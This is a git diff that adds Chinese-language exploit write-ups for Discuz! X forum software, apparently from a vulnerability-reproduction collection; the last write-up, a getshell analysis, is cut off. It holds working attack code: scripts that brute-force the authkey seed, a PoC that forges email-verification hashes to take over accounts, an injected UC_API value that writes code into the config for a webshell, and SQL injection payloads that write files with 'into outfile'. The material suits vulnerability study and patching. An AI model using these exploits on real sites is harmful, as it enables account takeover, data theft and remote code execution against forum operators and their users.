update Discuz exp
@ -0,0 +1,195 @@
|
||||
Discuz! X \< 3.4 authkey 算法的安全性漏洞
|
||||
=========================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
2017年8月1日,Discuz!发布了X3.4版本,此次更新中修复了authkey生成算法的安全性漏洞,通过authkey安全性漏洞,我们可以获得authkey。系统中逻辑大量使用authkey以及authcode算法,通过该漏洞可导致一系列安全问题:邮箱校验的hash参数被破解,导致任意用户绑定邮箱可被修改等...
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
php\>5.3+php-curl\<=7.54
|
||||
|
||||
- Discuz\_X3.3\_SC\_GBK
|
||||
|
||||
- Discuz\_X3.3\_SC\_UTF8
|
||||
|
||||
- Discuz\_X3.3\_TC\_BIG5
|
||||
|
||||
- Discuz\_X3.3\_TC\_UTF8
|
||||
|
||||
- Discuz\_X3.2\_SC\_GBK
|
||||
|
||||
- Discuz\_X3.2\_SC\_UTF8
|
||||
|
||||
- Discuz\_X3.2\_TC\_BIG5
|
||||
|
||||
- Discuz\_X3.2\_TC\_UTF8
|
||||
|
||||
- Discuz\_X2.5\_SC\_GBK
|
||||
|
||||
- Discuz\_X2.5\_SC\_UTF8
|
||||
|
||||
- Discuz\_X2.5\_TC\_BIG5
|
||||
|
||||
- Discuz\_X2.5\_TC\_UTF8
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
### 漏洞分析
|
||||
|
||||
在dz3.3/upload/install/index.php 346行
|
||||
|
||||

|
||||
|
||||
我们看到authkey是由多个参数的md5前6位加上random生成的10位产生的。
|
||||
|
||||
跟入random函数
|
||||
|
||||

|
||||
|
||||
当php版本大于4.2.0时,随机数种子不会改变
|
||||
|
||||
我们可以看到在生成authkey之后,使用random函数生成了4位cookie前缀
|
||||
|
||||
$_config['cookie']['cookiepre'] = random(4).'_';
|
||||
|
||||
那么这4位cookie前缀就是我们可以得到的,那我们就可以使用字符集加上4位已知字符,爆破随机数种子。
|
||||
|
||||
首先我们需要先获得4位字符
|
||||
|
||||

|
||||
|
||||
> 如上图所示,前四位是**sW7c**
|
||||
|
||||
然后通过脚本生成用于php\_mt\_seed的参数
|
||||
|
||||
> 这里需要修改第13行代码,替换你自己的cookie前四位
|
||||
|
||||
# coding=utf-8
|
||||
w_len = 10
|
||||
result = ""
|
||||
str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
|
||||
length = len(str_list)
|
||||
for i in xrange(w_len):
|
||||
result+="0 "
|
||||
result+=str(length-1)
|
||||
result+=" "
|
||||
result+="0 "
|
||||
result+=str(length-1)
|
||||
result+=" "
|
||||
sstr = "sW7c"
|
||||
for i in sstr:
|
||||
result+=str(str_list.index(i))
|
||||
result+=" "
|
||||
result+=str(str_list.index(i))
|
||||
result+=" "
|
||||
result+="0 "
|
||||
result+=str(length-1)
|
||||
result+=" "
|
||||
print result
|
||||
|
||||
得到参数,使用php\_mt\_seed脚本
|
||||
|
||||
https://github.com/ianxtianxt/php-mt\_rand
|
||||
|
||||
./php_mt_seed 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 54 54 0 61 22 22 0 61 33 33 0 61 38 38 0 61 > result.txt
|
||||
|
||||
这里我获得了245组种子
|
||||
|
||||
接下来我们需要使用这245组随机数种子生成随机字符串
|
||||
|
||||
<?php
|
||||
function random($length) {
|
||||
$hash = '';
|
||||
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
|
||||
$max = strlen($chars) - 1;
|
||||
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
|
||||
for($i = 0; $i < $length; $i++) {
|
||||
$hash .= $chars[mt_rand(0, $max)];
|
||||
}
|
||||
return $hash;
|
||||
}
|
||||
$fp = fopen('result.txt', 'rb');
|
||||
$fp2 = fopen('result2.txt', 'wb');
|
||||
while(!feof($fp)){
|
||||
$b = fgets($fp, 4096);
|
||||
if(preg_match("/seed = (\d)+/", $b, $matach)){
|
||||
$m = $matach[0];
|
||||
}else{
|
||||
continue;
|
||||
}
|
||||
// var_dump(substr($m,7));
|
||||
mt_srand(substr($m,7));
|
||||
fwrite($fp2, random(10)."\n");
|
||||
}
|
||||
fclose($fp);
|
||||
fclose($fp2);
|
||||
|
||||
当我们获得了所有的后缀时,我们需要配合爆破6位字符(0-9a-f)来验证authkey的正确性,由于的数量差不多16\*\*6\*200+,为了在有限的时间内爆破出来,我们需要使用一个本地爆破的方式。
|
||||
|
||||
这里使用了找回密码中的id和sign参数,让我们一起来看看逻辑。
|
||||
|
||||
当我们点击忘记密码的时候。
|
||||
|
||||
会进入`/source/module/member/member_lostpasswd.php`
|
||||
65行生成用于验证的sign值。
|
||||
|
||||

|
||||
|
||||
跟随make\_getpws\_sign函数进入`/source/function/function_member.php`
|
||||
|
||||

|
||||
|
||||
然后进入dsign函数,配合authkey生成结果
|
||||
|
||||

|
||||
|
||||
这里我们可以用python模拟这个过程,然后通过找回密码获得uid、id、sign,爆破判断结果。
|
||||
|
||||
### poc
|
||||
|
||||
> http://www.0-sec.org/dz3.3/member?mod=getpasswd&uid=2&id=vnY6nW&sign=af3b937d0132a06b
|
||||
>
|
||||
> 自行修改第7,8,13行代码
|
||||
|
||||
# coding=utf-8
|
||||
import itertools
|
||||
import hashlib
|
||||
import time
|
||||
def dsign(authkey):
|
||||
url = "http://127.0.0.1/dz3.3/"
|
||||
idstring = "vnY6nW"
|
||||
uid = 2
|
||||
uurl = "{}member.php?mod=getpasswd&uid={}&id={}".format(url, uid, idstring)
|
||||
url_md5 = hashlib.md5(uurl+authkey)
|
||||
return url_md5.hexdigest()[:16]
|
||||
def main():
|
||||
sign = "af3b937d0132a06b"
|
||||
str_list = "0123456789abcdef"
|
||||
with open('result2.txt') as f:
|
||||
ranlist = [s[:-1] for s in f]
|
||||
s_list = sorted(set(ranlist), key=ranlist.index)
|
||||
r_list = itertools.product(str_list, repeat=6)
|
||||
print "[!] start running...."
|
||||
s_time = time.time()
|
||||
for j in r_list:
|
||||
for s in s_list:
|
||||
prefix = "".join(j)
|
||||
authkey = prefix + s
|
||||
# print dsign(authkey)
|
||||
if dsign(authkey) == sign:
|
||||
print "[*] found used time: " + str(time.time() - s_time)
|
||||
return "[*] authkey found: " + authkey
|
||||
print main()
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
参考链接
|
||||
--------
|
||||
|
||||
> https://lorexxar.cn/2017/08/31/dz-authkey/\#%E6%BC%8F%E6%B4%9E%E8%AF%A6%E6%83%85
|
After Width: | Height: | Size: 106 KiB |
After Width: | Height: | Size: 103 KiB |
After Width: | Height: | Size: 304 KiB |
After Width: | Height: | Size: 122 KiB |
After Width: | Height: | Size: 57 KiB |
After Width: | Height: | Size: 39 KiB |
After Width: | Height: | Size: 59 KiB |
After Width: | Height: | Size: 143 KiB |
@ -0,0 +1,100 @@
|
||||
Discuz! X \< 3.4 uc\_center 后台代码执行漏洞
|
||||
============================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
Discuz! X \< 3.4
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
- 进入后台站长-Ucenter设置,设置UC\_KEY=随意(一定要记住,后面要用),
|
||||
|
||||
```{=html}
|
||||
<!-- -->
|
||||
```
|
||||
UC_API= http://www.0-sec.org/discuz34/uc_server');phpinfo();//
|
||||
|
||||
1.png
|
||||
|
||||
2.png
|
||||
|
||||
成功写进配置文件,这里单引号被转移了,我们接下来使用UC\_KEY(dz)去调用api/uc.php中的updateapps函数更新UC\_API。
|
||||
|
||||
利用UC\_KEY(dz) 生成code参数,使用过UC\_KEY(dz)
|
||||
GetWebShell的同学肯定不陌生,这里使用的UC\_KEY(dz)就是上面我们设置的。
|
||||
|
||||
<?php
|
||||
$uc_key="123456";//
|
||||
$time = time() + 720000;
|
||||
$str = "time=".$time."&action=updateapps";
|
||||
$code = authcode($str,"ENCODE",$uc_key);
|
||||
$code = str_replace('+','%2b',$code);
|
||||
$code = str_replace('/','%2f',$code);
|
||||
echo $code;
|
||||
|
||||
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
|
||||
$ckey_length = 4;
|
||||
$key = md5($key != '' ? $key : '123456');
|
||||
$keya = md5(substr($key, 0, 16));
|
||||
$keyb = md5(substr($key, 16, 16));
|
||||
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
|
||||
|
||||
$cryptkey = $keya.md5($keya.$keyc);
|
||||
$key_length = strlen($cryptkey);
|
||||
|
||||
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
|
||||
$string_length = strlen($string);
|
||||
|
||||
$result = '';
|
||||
$box = range(0, 255);
|
||||
|
||||
$rndkey = array();
|
||||
for($i = 0; $i <= 255; $i++) {
|
||||
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
|
||||
}
|
||||
|
||||
for($j = $i = 0; $i < 256; $i++) {
|
||||
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
|
||||
$tmp = $box[$i];
|
||||
$box[$i] = $box[$j];
|
||||
$box[$j] = $tmp;
|
||||
}
|
||||
|
||||
for($a = $j = $i = 0; $i < $string_length; $i++) {
|
||||
$a = ($a + 1) % 256;
|
||||
$j = ($j + $box[$a]) % 256;
|
||||
$tmp = $box[$a];
|
||||
$box[$a] = $box[$j];
|
||||
$box[$j] = $tmp;
|
||||
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
|
||||
}
|
||||
|
||||
if($operation == 'DECODE') {
|
||||
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
|
||||
return substr($result, 26);
|
||||
} else {
|
||||
return '';
|
||||
}
|
||||
} else {
|
||||
return $keyc.str_replace('=', '', base64_encode($result));
|
||||
}
|
||||
}
|
||||
?>
|
||||
|
||||
- 将生成的数据带入GET请求中的code 参数,发送数据包 3.png
|
||||
|
||||
访问 http://www.0-sec.org/discuz34/config/config\_ucenter.php
|
||||
代码执行成功4.png
|
||||
|
||||
5.png
|
||||
|
||||
到此成功GetWebShell,在这个过程中,有一点需要注意的是,我们修改了程序原有的UC\_KEY(dz),成功GetWebShell以后一定要修复,有2中方法:
|
||||
|
||||
- 从数据库中读取authkey(uc\_server),通过UC\_MYKEY解密获得UC\_KEY(dz),当然有可能authkey(uc\_server)就是UC\_KEY(dz)。
|
||||
|
||||
- 直接进入Ucenter后台修改UC\_KEY,修改成我们GetWebShell过程中所设置的值。
|
@ -0,0 +1,19 @@
|
||||
Discuz! X 3.4 admincp\_misc.php SQL注入漏洞
|
||||
===========================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
由于是update型注入,我们在后台已经可以利用数据库备份获得数据,对本网站意义不大,但是有同mysql的其他网站,如果权限不严,跨库查询,搞定同mysql的其他网站。
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
Discuz! X 3.4
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
https://www.0-sec.org/admin.php?action=misc&operation=censor
|
||||
|
||||
192540\_0de6824f\_5044043.png
|
@ -0,0 +1,32 @@
|
||||
Discuz! X Windows短文件名安全问题导致的数据库备份爆破
|
||||
=====================================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
看似是比较鸡肋的小技巧,但在猜一些随机命令的文件名时非常有用,比如:利用短文件名我们可以下载数据库备份文件(文件名中含有随机字符),利用备份文件我们可以尝试解密用户密码。
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
存在Windows短文件名爆破的系统中
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
1.png
|
||||
|
||||
数据库备份功能默认备份在目录\"backup\_随机字符串\"
|
||||
|
||||
文件名为**年月日\_随机字符串**
|
||||
|
||||
windows下短文件名访问文件或目录只需要知道前6个字符 backup正好6个
|
||||
就可以判断备份目录是否存在
|
||||
|
||||
https://www.0-sec.org/data/backup~1/
|
||||
|
||||
进而通过爆破年月日来寻找数据库备份文件
|
||||
|
||||
https://www.0-sec.org/data/backup~1/190814~1.sql
|
||||
|
||||
2.png
|
@ -0,0 +1,143 @@
|
||||
Discuz! X authkey 重置任意账户邮箱
|
||||
==================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
需要得到authkey
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
当我们申请修改邮箱的时候,我们会受到一封类似于下面这样的邮件。
|
||||
|
||||

|
||||
|
||||
验证链接类似于
|
||||
|
||||
http://www.0-sec.org/dz3.3/home.php?mod=misc&ac=emailcheck&hash=0eb7yY2wtS1q16Zs2%2BtSkR6w5O%2Fx6jdLbu0FnWbegB8ixs2Y6tfcyAnrvz4yPIE7pKzoqawU0ku47y4F
|
||||
|
||||
跟入`/source/include/misc/misc_emailcheck.php` 代码如下:
|
||||
|
||||
<?php
|
||||
/**
|
||||
* [Discuz!] (C)2001-2099 Comsenz Inc.
|
||||
* This is NOT a freeware, use is subject to license terms
|
||||
*
|
||||
* $Id: misc_emailcheck.php 33688 2013-08-02 03:00:15Z nemohou $
|
||||
*/
|
||||
if(!defined('IN_DISCUZ')) {
|
||||
exit('Access Denied');
|
||||
}
|
||||
$uid = 0;
|
||||
$email = '';
|
||||
$_GET['hash'] = empty($_GET['hash']) ? '' : $_GET['hash'];
|
||||
if($_GET['hash']) {
|
||||
list($uid, $email, $time) = explode("\t", authcode($_GET['hash'], 'DECODE', md5(substr(md5($_G['config']['security']['authkey']), 0, 16))));
|
||||
$uid = intval($uid);
|
||||
}
|
||||
// exit($email);
|
||||
if($uid && isemail($email) && $time > TIMESTAMP - 86400) {
|
||||
$member = getuserbyuid($uid);
|
||||
$setarr = array('email'=>$email, 'emailstatus'=>'1');
|
||||
if($_G['member']['freeze'] == 2) {
|
||||
$setarr['freeze'] = 0;
|
||||
}
|
||||
loaducenter();
|
||||
$ucresult = uc_user_edit(addslashes($member['username']), '', '', $email, 1);
|
||||
if($ucresult == -8) {
|
||||
showmessage('email_check_account_invalid', '', array(), array('return' => true));
|
||||
} elseif($ucresult == -4) {
|
||||
showmessage('profile_email_illegal', '', array(), array('return' => true));
|
||||
} elseif($ucresult == -5) {
|
||||
showmessage('profile_email_domain_illegal', '', array(), array('return' => true));
|
||||
} elseif($ucresult == -6) {
|
||||
showmessage('profile_email_duplicate', '', array(), array('return' => true));
|
||||
}
|
||||
if($_G['setting']['regverify'] == 1 && $member['groupid'] == 8) {
|
||||
$membergroup = C::t('common_usergroup')->fetch_by_credits($member['credits']);
|
||||
$setarr['groupid'] = $membergroup['groupid'];
|
||||
}
|
||||
updatecreditbyaction('realemail', $uid);
|
||||
C::t('common_member')->update($uid, $setarr);
|
||||
C::t('common_member_validate')->delete($uid);
|
||||
dsetcookie('newemail', "", -1);
|
||||
showmessage('email_check_sucess', 'home.php?mod=spacecp&ac=profile&op=password', array('email' => $email));
|
||||
} else {
|
||||
showmessage('email_check_error', 'index.php');
|
||||
}
|
||||
?>
|
||||
|
||||
当hash传入的时候,服务端会调用authcode函数解码获得用户的uid,要修改成的email,时间戳。
|
||||
|
||||
list($uid, $email, $time) = explode("\t", authcode($_GET['hash'], 'DECODE', md5(substr(md5($_G['config']['security']['authkey']), 0, 16))));
|
||||
|
||||
然后经过一次判断
|
||||
|
||||
if($uid && isemail($email) && $time > TIMESTAMP - 86400) {
|
||||
|
||||
这里没有任何额外的判断,在接下来的部分,也仅仅对uid的有效性做了判断,而uid代表这用户的id值,是从1开始自增的。
|
||||
|
||||
也就是说,只要authcode函数解开hash值,就能成功的验证并修改邮箱。
|
||||
|
||||
这里我们可以直接使用authcode函数来获得hash值
|
||||
|
||||
### poc
|
||||
|
||||
> 这里需要修改md5(\"authkey\")
|
||||
|
||||
<?php
|
||||
//Enter your code here, enjoy!
|
||||
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
|
||||
$ckey_length = 4;
|
||||
$key = md5($key ? $key : UC_KEY);
|
||||
$keya = md5(substr($key, 0, 16));
|
||||
$keyb = md5(substr($key, 16, 16));
|
||||
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
|
||||
$cryptkey = $keya.md5($keya.$keyc);
|
||||
$key_length = strlen($cryptkey);
|
||||
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
|
||||
$string_length = strlen($string);
|
||||
$result = '';
|
||||
$box = range(0, 255);
|
||||
$rndkey = array();
|
||||
for($i = 0; $i <= 255; $i++) {
|
||||
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
|
||||
}
|
||||
for($j = $i = 0; $i < 256; $i++) {
|
||||
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
|
||||
$tmp = $box[$i];
|
||||
$box[$i] = $box[$j];
|
||||
$box[$j] = $tmp;
|
||||
}
|
||||
for($a = $j = $i = 0; $i < $string_length; $i++) {
|
||||
$a = ($a + 1) % 256;
|
||||
$j = ($j + $box[$a]) % 256;
|
||||
$tmp = $box[$a];
|
||||
$box[$a] = $box[$j];
|
||||
$box[$j] = $tmp;
|
||||
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
|
||||
}
|
||||
if($operation == 'DECODE') {
|
||||
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
|
||||
return substr($result, 26);
|
||||
} else {
|
||||
return '';
|
||||
}
|
||||
} else {
|
||||
return $keyc.str_replace('=', '', base64_encode($result));
|
||||
}
|
||||
}
|
||||
echo authcode("3\ttest@success.com\t1503556905", 'ENCODE', md5(substr(md5("5e684ceqNxuCvmoK"), 0, 16)));
|
||||
|
||||
访问hash页面,我们可以看到验证邮箱已经被修改了,接下来我们可以直接通过忘记密码来修改当前用户的密码。
|
||||
|
||||

|
||||
|
||||
参考链接
|
||||
--------
|
||||
|
||||
> https://lorexxar.cn/2017/08/31/dz-authkey/\#%E6%BC%8F%E6%B4%9E%E8%AF%A6%E6%83%85
|
After Width: | Height: | Size: 123 KiB |
After Width: | Height: | Size: 120 KiB |
@ -0,0 +1,223 @@
|
||||
Discuz! X 系列全版本 后台Sql注入漏洞
|
||||
====================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
利用条件:
|
||||
|
||||
1.知道网站的绝对路径
|
||||
|
||||
2.secure\_file\_priv的值为空
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
Discuz!X 系列全版本 截止到 Discuz!X 3.4 R20191201 UTF-8
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
挖过discuz 漏洞的都知道 它会对大部分传参进来的值进行过滤和校验
|
||||
,所以当时找了一个二次注入的点
|
||||
|
||||
uc\_server\\model\\base.php 37行
|
||||
|
||||
<?php
|
||||
|
||||
/*
|
||||
[UCenter] (C)2001-2099 Comsenz Inc.
|
||||
This is NOT a freeware, use is subject to license terms
|
||||
|
||||
$Id: base.php 1167 2014-11-03 03:06:21Z hypowang $
|
||||
*/
|
||||
|
||||
!defined('IN_UC') && exit('Access Denied');
|
||||
|
||||
class base {
|
||||
|
||||
var $sid;
|
||||
var $time;
|
||||
var $onlineip;
|
||||
var $db;
|
||||
var $view;
|
||||
var $user = array();
|
||||
var $settings = array();
|
||||
var $cache = array();
|
||||
var $app = array();
|
||||
var $lang = array();
|
||||
var $input = array();
|
||||
|
||||
function __construct() {
|
||||
$this->base();
|
||||
}
|
||||
|
||||
function base() {
|
||||
$this->init_var();
|
||||
$this->init_db();
|
||||
$this->init_cache();
|
||||
$this->init_app();
|
||||
$this->init_user();
|
||||
$this->init_template();
|
||||
$this->init_note(); //跟进
|
||||
$this->init_mail();
|
||||
}
|
||||
|
||||
uc\_server\\model\\base.php 198行 开始
|
||||
|
||||
function init_note() {
|
||||
if($this->note_exists()) { //跟进
|
||||
$this->load('note');
|
||||
$_ENV['note']->send();
|
||||
}
|
||||
}
|
||||
|
||||
function note_exists() {
|
||||
$noteexists = $this->db->result_first("SELECT value FROM ".UC_DBTABLEPRE."vars WHERE name='noteexists".UC_APPID."'"); //从配置文件取值UC_APPID
|
||||
return FALSE;
|
||||
} else {
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
查找UC\_APPID
|
||||
|
||||
source\\admincp\\admincp\_setting.php 2523行
|
||||
|
||||
$settingnew = $_GET['settingnew']; //传入
|
||||
|
||||
if($operation == 'credits') {
|
||||
$extcredits_exists = 0;
|
||||
foreach($settingnew['extcredits'] as $val) {
|
||||
if(isset($val['available']) && $val['available'] == 1) {
|
||||
$extcredits_exists = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!$extcredits_exists) {
|
||||
cpmsg('setting_extcredits_must_available');
|
||||
}
|
||||
if($settingnew['report_reward']) {
|
||||
$settingnew['report_reward']['min'] = intval($settingnew['report_reward']['min']);
|
||||
$settingnew['report_reward']['max'] = intval($settingnew['report_reward']['max']);
|
||||
if($settingnew['report_reward']['min'] > $settingnew['report_reward']['max']) {
|
||||
unset($settingnew['report_reward']);
|
||||
}
|
||||
if($settingnew['report_reward']['min'] == $settingnew['report_reward']['max']) {
|
||||
$settingnew['report_reward'] = array('min' => '', 'max' => '');
|
||||
}
|
||||
$settingnew['report_reward'] = serialize($settingnew['report_reward']);
|
||||
}
|
||||
$settingnew['creditspolicy'] = @dunserialize($setting['creditspolicy']);
|
||||
$settingnew['creditspolicy']['lowerlimit'] = array();
|
||||
foreach($settingnew['lowerlimit'] as $key => $value) {
|
||||
if($settingnew['extcredits'][$key]['available']) {
|
||||
$settingnew['creditspolicy']['lowerlimit'][$key] = (float)$value;
|
||||
}
|
||||
}
|
||||
unset($settingnew['lowerlimit']);
|
||||
}
|
||||
if($operation == 'uc' && is_writeable('./config/config_ucenter.php') && $isfounder) {
|
||||
require_once './config/config_ucenter.php';
|
||||
|
||||
$ucdbpassnew = $settingnew['uc']['dbpass'] == '********' ? addslashes(UC_DBPW) : addslashes($settingnew['uc']['dbpass']);
|
||||
$settingnew['uc']['key'] = addslashes($settingnew['uc']['key'] == '********' ? addslashes(UC_KEY) : $settingnew['uc']['key']);
|
||||
|
||||
if(function_exists("mysql_connect") && ini_get("mysql.allow_local_infile")=="1" && constant("UC_DBHOST") != $settingnew['uc']['dbhost']){
|
||||
cpmsg('uc_config_load_data_local_infile_error', '', 'error');
|
||||
}
|
||||
|
||||
if($settingnew['uc']['connect']) {
|
||||
$uc_dblink = function_exists("mysql_connect") ? @mysql_connect($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew, 1) : new mysqli($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew);
|
||||
if(!$uc_dblink) {
|
||||
cpmsg('uc_database_connect_error', '', 'error');
|
||||
} else {
|
||||
if(function_exists("mysql_connect")) {
|
||||
mysql_close($uc_dblink);
|
||||
} else {
|
||||
$uc_dblink->close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$fp = fopen('./config/config_ucenter.php', 'r');
|
||||
$configfile = fread($fp, filesize('./config/config_ucenter.php'));
|
||||
$configfile = trim($configfile);
|
||||
$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
|
||||
fclose($fp);
|
||||
|
||||
$connect = '';
|
||||
$settingnew['uc'] = daddslashes($settingnew['uc']);
|
||||
if($settingnew['uc']['connect']) {
|
||||
$connect = 'mysql';
|
||||
$samelink = ($dbhost == $settingnew['uc']['dbhost'] && $dbuser == $settingnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);
|
||||
$samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');
|
||||
$configfile = str_replace("define('UC_DBHOST', '".addslashes(UC_DBHOST)."')", "define('UC_DBHOST', '".$settingnew['uc']['dbhost']."')", $configfile);
|
||||
$configfile = str_replace("define('UC_DBUSER', '".addslashes(UC_DBUSER)."')", "define('UC_DBUSER', '".$settingnew['uc']['dbuser']."')", $configfile);
|
||||
$configfile = str_replace("define('UC_DBPW', '".addslashes(UC_DBPW)."')", "define('UC_DBPW', '".$ucdbpassnew."')", $configfile);
|
||||
if(!preg_match('/^[\w\d\_]+$/', $settingnew['uc']['dbtablepre']) || !preg_match('/^[\w\d\_]+$/', $settingnew['uc']['dbname'])) {
|
||||
cpmsg('uc_config_write_error', '', 'error');
|
||||
}
|
||||
$configfile = str_replace("define('UC_DBNAME', '".addslashes(UC_DBNAME)."')", "define('UC_DBNAME', '".$settingnew['uc']['dbname']."')", $configfile);
|
||||
$configfile = str_replace("define('UC_DBTABLEPRE', '".addslashes(UC_DBTABLEPRE)."')", "define('UC_DBTABLEPRE', '`".$settingnew['uc']['dbname'].'`.'.$settingnew['uc']['dbtablepre']."')", $configfile);
|
||||
}
|
||||
$configfile = str_replace("define('UC_CONNECT', '".addslashes(UC_CONNECT)."')", "define('UC_CONNECT', '".$connect."')", $configfile);
|
||||
$configfile = str_replace("define('UC_KEY', '".addslashes(UC_KEY)."')", "define('UC_KEY', '".$settingnew['uc']['key']."')", $configfile);
|
||||
$configfile = str_replace("define('UC_API', '".addslashes(UC_API)."')", "define('UC_API', '".$settingnew['uc']['api']."')", $configfile);
|
||||
$configfile = str_replace("define('UC_IP', '".addslashes(UC_IP)."')", "define('UC_IP', '".$settingnew['uc']['ip']."')", $configfile);
|
||||
$configfile = str_replace("define('UC_APPID', '".addslashes(UC_APPID)."')", "define('UC_APPID', '".$settingnew['uc']['appid']."')", $configfile);
|
||||
|
||||
$fp = fopen('./config/config_ucenter.php', 'w');
|
||||
if(!($fp = @fopen('./config/config_ucenter.php', 'w'))) {
|
||||
cpmsg('uc_config_write_error', '', 'error');
|
||||
}
|
||||
@fwrite($fp, trim($configfile)); // 写入到config_ucenter.php 可控UC_APPID 的值 通过上面代码可以看出来只简单的addslashes了一下
|
||||
@fclose($fp);
|
||||
}
|
||||
|
||||
isset($settingnew['regname']) && empty($settingnew['regname']) && $settingnew['regname'] = 'register';
|
||||
isset($settingnew['reglinkname']) && empty($settingnew['reglinkname']) && $settingnew['reglinkname'] = cplang('reglinkname_default');
|
||||
$nohtmlarray = array('bbname', 'regname', 'reglinkname', 'icp', 'sitemessage', 'site_qq');
|
||||
foreach($nohtmlarray as $k) {
|
||||
if(isset($settingnew[$k])) {
|
||||
$settingnew[$k] = dhtmlspecialchars($settingnew[$k]);
|
||||
}
|
||||
}
|
||||
|
||||
if(isset($settingnew['statcode'])) {
|
||||
$settingnew['statcode'] = preg_replace('/language\s*=[\s|\'|\"]*php/is', '_', $settingnew['statcode']);
|
||||
$settingnew['statcode'] = str_replace(array('<?', '?>'), array('<?', '?>'), $settingnew['statcode']);
|
||||
}
|
||||
|
||||
转义一次的字符串被写人文件中,在PHP解析时就是没有转义过的原始内容
|
||||
造成了二次注入的产生
|
||||
|
||||
<?php
|
||||
define('UC_APPID', 'sadsadsadasd\'');
|
||||
printf(UC_APPID);
|
||||
|
||||

|
||||
|
||||
漏洞验证
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
直接构造语句
|
||||
|
||||
1' into outfile 'c:\\wamp64\\tmp\\1.txt' -- a
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
构造报错注入
|
||||
|
||||
### 补充:
|
||||
|
||||
UCenter 应用 ID填入exp,然后提交
|
||||
|
||||
1' union select 'abc' into outfile 'c:\6.txt' -- a
|
After Width: | Height: | Size: 40 KiB |
After Width: | Height: | Size: 365 KiB |
After Width: | Height: | Size: 239 KiB |
After Width: | Height: | Size: 267 KiB |
After Width: | Height: | Size: 281 KiB |
After Width: | Height: | Size: 226 KiB |
@ -0,0 +1,124 @@
|
||||
Discuz! X 系列全版本,版本转换功能导致Getshell
|
||||
==============================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
存在问题的代码在`/utility/convert/`目录下,这部分的功能主要是用于Dz系列产品升级/转换。
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
Discuz! X 全版本
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
### 漏洞分析
|
||||
|
||||
入口`utility/convert/index.php`
|
||||
|
||||
require './include/common.inc.php';
|
||||
|
||||
$action = getgpc('a');
|
||||
$action = empty($action) ? getgpc('action') : $action;
|
||||
$source = getgpc('source') ? getgpc('source') : getgpc('s');
|
||||
|
||||
取`$_POST['a']`,直接赋值给`$action`,此时`$action = config`;
|
||||
|
||||
} elseif($action == 'config' || CONFIG_EMPTY) {
|
||||
require DISCUZ_ROOT.'./include/do_config.inc.php';
|
||||
} elseif($action == 'setting') {
|
||||
|
||||
满足条件,引入`./include/do_config.inc.php`
|
||||
|
||||
@touch($configfile);
|
||||
......
|
||||
if(submitcheck()) {
|
||||
$newconfig = getgpc('newconfig');
|
||||
if(is_array($newconfig)) {
|
||||
$checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
|
